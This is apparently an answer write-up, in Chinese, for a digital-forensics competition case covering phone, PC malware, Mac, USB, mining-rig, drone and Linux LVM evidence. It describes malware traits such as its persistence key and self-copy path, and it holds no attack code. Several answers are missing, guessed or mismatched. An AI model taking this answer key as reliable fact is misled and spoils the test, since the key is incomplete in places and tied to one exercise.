    C. android.permission.READ_CONTACTS 读取联系人
    D. android.permission.BLUETOOTH 使用蓝牙
    E. android.permission.CLEAR_APP_CACHE 清除应用缓存

    image.png

  36. [填空题] 特普可能在电话中被可疑软件窃取了的验证码是什么? (请以英文全大写及阿
    拉伯数字回答) (2 分)

    image.png

    113476

  37. [填空题] 特普的计算机可能中了病毒,病毒的加壳(Packing)方法是甚么? (请以英文全
    大写作答) (2 分)

    image.png

    image.png

  38. [单选题] 特普的计算机可能中了病毒,病毒的编译工具是甚么? (2 分)
    A. GCC
    B. Borland
    C. TCC
    D. Microsoft Visual C/C++
    同上题方法,用脱壳工具脱壳,使用 PEID 查到编译的工具是 D 选项

    image.png

  39. [填空题] 特普的计算机可能中了病毒,病毒的编译者使用可能使用的账户名称是甚么?
    (请以英文全大写作答) (3 分)
    GPGF
    使用 ida pro 对已经脱壳的程序进行分析,找到病毒编译者使用的路径,找到他的账户名
    称。

  40. [单选题] 特普的计算机可能中了病毒,病毒的自我复制位置是甚么? (2 分)
    A. C:\Temp\temp.txt
    B. C:\Users\Desktop\malware.exe
    C. C:\Users\public\malware.exe
    D. C:\a.txt
    使用火绒剑/Process Monitor 对其进行抓取。

    image.png

    通过后面的字符串格式 %s%c%s%c%s%s%c%c%c%c%s%c%c 并配合前面的 push 堆栈
    指令,可以得出完整的目标路径 c:\\users\\public\\malware.exe

  41. [单选题] 特普的计算机可能中了病毒,病毒的修改登录文件位置是甚么? (3 分)
    A. HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    B. HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    C. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
    D.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Backg
    round

    使用 ida pro 进行分析找到。

    image.png

  42. 以下哪个不是病毒留下? (3 分)
    A. HI
    B. HELLO
    C. HOW ARE YOU
    D. GOODBYE

    使用 ida pro 进行逆向分析,只获得了 HELLO 的艺术文字图。

    image.png

  43. [单选题] 特普的计算机可能中了病毒,病毒扰乱文件目标文件名是甚么? (2 分)
    A. C:\Users\Documents\target.txt
    B. C:\Users\Desktop\target.txt
    C. C:\c.txt
    D. C:\temp.txt
    使用逆向分析工具 ida pro 找到该文件。

    image.png

  44. [单选题] 特普的计算机可能中了病毒,病毒扰乱文件方法是甚么? (3 分)
    A. + 3
    B. XOR 5
    C. + 4
    D. – 4

    image.png

  45. [填空题] 特普的计算机中,哪一个是 FTK Imager.exe 的程式编号(PID)? (请阿拉伯数
    字回答) (1 分)

    image.png

    image.png

  46. [多选题] 特普的计算机中,cmd.exe (PID: 4496) 它的执行日期及时间是? (1 分)

    image.png

  47. [填空题] 特普的计算机曾经以 FTP 对外.“)连接,连接的 IP 是? (请以阿拉伯数字回答,
    不用输入".") (2 分)

    这道题出现在内存题目中,第一反应使用 netscan 命令,对其连接的网络信息进行扫描,
    但是在这里无法找到确凿证据说明是 ftp 连接。前往计算机镜像进行查找。

    image.png

  48. [多选题] 特普的计算机中,以下哪一个指令于上述连接中有使用过? (3 分)
    A. get
    B. put
    C. delete
    D. bye
    E. quit

    没有确凿证据,结合 ftp 命令猜测答案。

    image.png

  49. [多选题] 在 Linux 的"Volatility" 中,哪一个指令可以知道此程式支持哪一个 Windows
    版本? (2 分)
    A. vol.py --profile
    B. vol.py --systeminfo
    C. vol.py --info
    D. vol.py --verinfo

    image.png

  50. [填空题] 常威手机中的Telegram有可能是在2021 年9 月24日 12 时44分58秒 (UTC
    +8) 首次下载的。(请以阿拉伯数字输入答案) (2 分)

    image.png

  51. [填空题] 常威手机曾经连接的无人机名称是什么?(请以英文全大写及阿拉伯数字回答)
    (1 分)

    image.png

  52. [填空题] 常威手机中,档案“dji1633936161416.mp4”的解像度是 ____ (例
    如是 1920 x 1280,请输入 19201280)。 (1 分)

    搜索该视频,很容易就找到了,但是 cellebrite 不太友好,居然没有视频分辨率,导出后
    再查看详细信息,得到分辨率信息。

    image.png

  53. [填空题] 常威手机中,发现于网络上下载的软件“安心出行”安装档的哈希值(MD5)
    是?(请以英文全大写及阿拉伯数字回答) (2 分)

    0c3e9233b78971709ccaabe7d9a917e4

    image.png

  54. [多选题] 常威手机中执行软件“安心出行”(版本 2.1.3)中涉及以下安全许可? (2 分)
    A. android.permission.ACCESS_WIFI_STATE 获取 WiFi 状态
    B. android.permission.BATTERY_STATS 电量统计
    C. android.permission.VIBRATE 使用振动
    D. android.permission.CONTROL_LOCATION_UPDATES 控制定位更新
    E. android.permission.CAMERA 拍照权限

    image.png

  55. [多选题] 常威手机中软件“安心出行”(版本 2.1.3)的安装档(.apk)中,哪个不是它的签名
    算法? (3 分)
    A. MD5withRSA
    B. SHA256withRSA
    C. SHA256withDSA
    D. MD5withDSA

    image.png

  56. [多选题] 于常威的手机中执行软件“安心出行”(版本 1)可能会连接至哪一个网站? (2 分)
    A. https://back-home-.pages.dev
    B. org.chromium..a5b80edf82b436506
    C. org.chromium..a5b80edf82b436506_v2
    D. https://back-home-.pages.dev/manifest.json

    抓包和分析源代码。

  57. [单选题] 在常威苹果手提计算机, 用户开机密码是什么 ?(提示:常威 USB 设备中可
    能有相关数据) (3 分)
    A. Csthegoa
    B. Drawfgdf
    C. Cokkfiddd
    D. Appis
    won

    根据提示,在常威的 USB 设备中查找。
    使用取证大师,加载镜像后,使用格式化恢复,

    image.png

    image.png

    image.png

    image.png

    image.png

  58. [填空题] 在常威 U 盘内有多少磁盘分隔区 ? (请以阿拉伯数字回答) (2 分)

    4

    image.png

  59. [填空题] 在常威 U 盘内有多少份 excel 文件 ? (请以阿拉伯数字回答) (1 分)

    image.png

    image.png

  60. [填空题] 在常威 U 盘内, 内含有多少个客户数据 ? (请以阿拉伯数字回答) (1 分)

    image.png

  61. [多选题] 以下哪个客户数据储存在常威 U 盘内 ? (3 分)
    A. jmuat1@reference.com
    B. cgeraudg@forbes.com
    C. cwarmishamo@admin.ch
    D. abddfdf@google.com
    E. alex1234@apple.com

    在xlsx里面搜索就有。

  62. [单选题] 常威MAC 计算机上一个系统版本是甚么及现正运行哪一个版本的系统? (3分)

    image.png

  63. [多选题] 常威MAC 计算机的系统事件纪录内哪个卷标(Flag)是关于储存档案于计算机?
    (3 分)
    A. Created
    B. InodeMetaMod
    C. FinderInfoChanged
    D. IsDirectory
    E. OwnerChanged

    Mac 电脑的 OSX FSEvents flag 知识,理论题目,选择 ABCE

  64. [多选题] 常威 MAC 计算机曾连接哪一个无线网络 SSID? (2 分)
    A. wai wifi
    B. wanchainew1
    C. central2
    D. Hongkong1

    image.png

  65. [单选题] 常威MAC 计算机的使用者甚么时候将”隔空投送”(airdrop)转换至任何人模式?
    (2 分)

  66. [单选题] 常威 MAC 计算机的镜像档案内,总共有多少个系统默认的卷标? (1 分)
    A. 4
    B. 5
    C. 6
    D. 7

    5个

    image.png

  67. [填空题] 常威 MAC 计算机的使用者上一次关闭浏览器时,正在浏览多少个网页? (请
    以阿拉伯数字回答) (3 分)

    image.png

    虽然24个url,但是实际上有重复的,筛选后只有10个

  68. [多选题] 常威 MAC 计算机中以下哪个档案并不是 iPhone 所拍摄的图片? (2 分)
    A. IMG_0002
    B. IMG_0003
    C. IMG_0004
    D. IMG_0005
    E. IMG_0006

    image.png

    在 MAC 计算机上找到了 BCE 选项,导出,就能看到BCE都是iPhone12pro拍摄的

  69. [多选题] 在常威的矿机没有进行哪种加密货币掘矿 ? (2 分)
    A. Bitcoin(比特币)
    B. Ethereum(以太坊)
    C. RVN(渡鸦币)
    D. Dodge(狗狗币)
    E. ENJ(恩金币)

  70. [填空题] 在常威矿机有几张显示适配器进行掘矿 ? (请以阿拉伯数字回答) (1 分)

    image.png

  71. [单选题] 在常威矿机, hive OS 操作系统是什么版本 ? (1 分)
    A. 5.4.0
    B. 6.0.1

    C. 7.0.2
    D. 10.0.2

    E. 15.1.2*****

    image.png

  72. [多选题] 在常威矿机中, 哪个不是收取掘矿收益的加密货币钱包地址 ? (1 分)

    image.png

  73. [单选题] 在常威矿机中, 用于掘矿登入密码是什么 ? (2 分)

    image.png

  74. [填空题] 在常威矿机中,用于掘矿 Nvidia 显示适配器所使用的驱动程式使用什么版
    本?(请以英文全大写及阿拉伯数字回答) (1 分)

    image.png

  75. [多选题] 在常威矿机中, 用于掘矿显示适配器型号包括什么? (2 分)

    image.png

  76. [多选题] 在常威矿机, 哪一天没有进行掘矿? (2 分)

    直接看日志

  77. [填空题] 常威的无人机中的飞航纪录 __可见到于 2021 年10 月11 日1505
    时的 GPS 地点。(请以英文全大写及阿拉伯数字回答) (1 分)

    FLY096.DAT

    image.png

  78. [单选题] 常威的无人机于 2021 年 10 月 11 日 15:07:51 时之间所在的地点是什么? (1
    分)

    image.png

  79. [填空题] 常威的无人机哪一个档案有最后降落时间的数据(请以英文全大写及阿拉伯
    数字回答,不用输入".")? (1 分)

    FLY096DAT

    在最下面

    image.png

  80. [多选题] 常威的手机中哪一个是由常威的无人机于 2021 年 10 月 11 日所拍摄的图像
    文件? (2 分)

    A. Containers 货柜
    B. Buildings 大厦
    C. bicycle 单车
    D. Mountain 山

    image.png

    image.png

    image.png

  81. [填空题] 常威的手机中显示常威的无人机DJI GO 4 的版本是 4.3.37?(请以阿拉伯数字
    回答) (1 分)

    image.png

  82. [多选题] 常威的手机中所安装的 DJI GO 4 软件中,以下哪个 database 没有显示临时
    禁飞区? (2 分)
    A. Filesflysafe_app.db
    B. Special_warning.db
    C. Flysafe_app_dynamic_areas.db
    D. Flysafe_polygon_1860.db

    搜索找到数据库 Flysafe_app_dynamic_areas.db 显示了禁飞区,Special_warning.db 数据
    库是空的。

    image.png

  83. [填空题] 常威的手机中在 Localappstate.db 可知道 DJI GO 4 的登入电子邮件(请以英
    文全大写及阿拉伯数字回答) (1 分)

    正常存储这个信息应该在 app 的数据库里,从 APP 找到跳转的路径。

    image.png

    image.png

    image.png

  84. [填空题] 常威的手机中在 flysafe_app_dynamic_areas.db 包含了名为server_timestamp 的资料(请以英文全大写及阿拉伯数字回答) (1 分)
    和 82 题相关联,见过这个数据库,查看这个数据库

    image.png

  85. [单选题] 常威利用Windows 计算机中的 VM Kali 进行攻击和收取受害人电话的数据,请找出常威的 VM 存放地址 (2 分)

    image.png

  86. [单选题] 常威在收集数据后储存数据于 Windows 计算机一个名为"text2.txt"的档案中,
    随后他将档案移往"\home\kali\Desktop\project\"中, 下述哪个档案可以证明这一点?

    i)\root.bash_history ii) \home\kali.bash_history (3 分)

    看 kali 系统里的数据,将 kali 的文件导出来,再当做计算机的检材做取证分析。
    取证分析找到这两个文件,在\home\kali.bash_history 找到了 text2.txt 文件的痕迹但是
    证明不了是从 windows 移动过去的,都没有相关证据。

    image.png

  87. [单选题] 常威 Windows 计算机中哪一个程式/档案有可能用作收取受害人电话上的数
    据? (3 分)
    A. \home\kali\Desktop\server_express_ok.js
    B. \home\kali\Desktop\baddish\package.json
    C. \home\kali\Desktop\baddish\server.js
    D. \home\kali\Desktop\server.js

    image.png

  88. [多选题] 常威 Windows 计算机中显示常威第一次偷取受害人电话数据有机会是在哪
    一个日子及时间登入 Kali 系统? (2 分)
    A. 2021-09-27
    B. 2021-09-29
    C. 2021-09-29
    D. 11:42:47
    E. 16:04:24
    F. 16:30:04

    image.png

  89. [多选题] 常威Windows计算机中以下哪一个檔案的哈希值(MD5)能证明常威曾开启存
    有客户数据的档案? (2 分)

    image.png

    image.png

  90. [单选题] 常威 Windows 计算机中,哪一个档案可以找到 USB 装置初次连接的时间?
    (1 分)

    C:\Windows\INF\setupapi.dev.log
    Windows 取证理论题了,也可以根据选项打开找到该文件进行验证。

    image.png

  91. [单选题] 常威 Windows 计算机接驳了一个 3D 打印机,以下哪一个哈希值是属于上
    述打印机的驱动程式文件中的安装信息文件(INF 檔)? (提示:关键词包含 CH341) (3 分)

    image.png

    image.png

  92. [填空题] 续上题,上述安装信息文件的版本日期是什么? (请以阿拉伯数字,及以下格
    式回答,例: 2019 年 3 月 4 日,请回答 20190304) (1 分)

    image.png

  93. [多选题] 常威 Windows 计算机安装了一些与 3D 打印机有关的软件,有可能是以下哪
    个? (1 分)
    A. Ultimaker Cura
    B. 3DPrinterOS
    C. Simplify3D
    D. Creality Slicer

    挨个找

    image.png

    image.png

  94. [单选题] 续上题,哪一个档案记录了切片软件 Creality Slicer 曾经开启的 3d 立体模块
    (.stl)纪录? (1 分)

    image.png

    C:\Users\Chris Paul\AppData\Roaming\Creality Slicer\4.8\Creality Slicer.log

  95. [多选题] 续上题,哪一个 3d 立体模块(.stl)曾用切片软件 Creality Slicer 开启? (2 分)

    image.png

    image.png

  96. [填空题] 哪一个是Wai_Linux1.E01 鉴证映像中Linux LVM 磁盘分区的长度? (请以阿
    拉伯数字回答) (1 分)

    image.png

  97. [填空题] 常威 LINUX 计算机安装在逻辑卷管理(Logical Volume Manager)的磁盘分
    区上, 哪一个是卷组(Volume group) 的通用唯一标识符(UUID)? (请以英文全大写及阿拉
    伯数字回答,不用输入”-“) (1 分)

    image.png

  98. [多选题] 续上题,哪一个是逻辑卷(Logical Volume )设定的名字? (2 分)

    image.png

  99. [单选题] 常威 LINUX 计算机曾试用挖矿程式"T-Rex",在相关脚本(script)中哪一个是
    工人(worker)的名称? (1 分)

    rig0

    image.png

  100. [填空题] LINUX 系统中利用 fdisk 指令下,下列哪一个是 "exFAT"的磁盘分区类型编
    号(Partition type id)? (请以英文全大写及阿拉伯数字回答) (1 分)

    7
    这道题与本镜像无关,考的是 exfat 文件系统的 Partition type id,本镜像没有 exfat 分区,
    考核这个理论知识点,答案是 7。

    image.png

  101. [单选题] 在 Linux 的环境下,以下哪一个指令用于激活扫描到的卷组(Volume group)
    (1 分)
    A. vgscan
    B. vgchange
    C. vgdisplay
    D. vgactive
    每个都用 --help 命令查一下,找到只有 vgchange 有这个功能

  102. [单选题] 在 Linux 的环境下,下列哪一个指令可以删除内有档案的文件夹? (1 分

    rm -rf

  103. [填空题] 常威 LINUX 计算机逻辑滚动条 (Logical Volume) 路径“vg/home”使用了
    甚么系统建立? (请以英文全大写回答) (2 分)

    lvdisplay

    image.png

  104. [填空题] 常威 LINUX 计算机逻辑滚动条 (Logical Volume) 路径 “vg/root” 的
    Current LE 是什么? (请以阿拉伯数字回答) (1 分)

    lvdisplay

    image.png

  105. [填空题] 常威 LINUX 计算机扇区群组 (Volume group)的 Total PE 是甚么? (请以阿
    拉伯数字回答) (1 分)

    vgdisplay

    image.png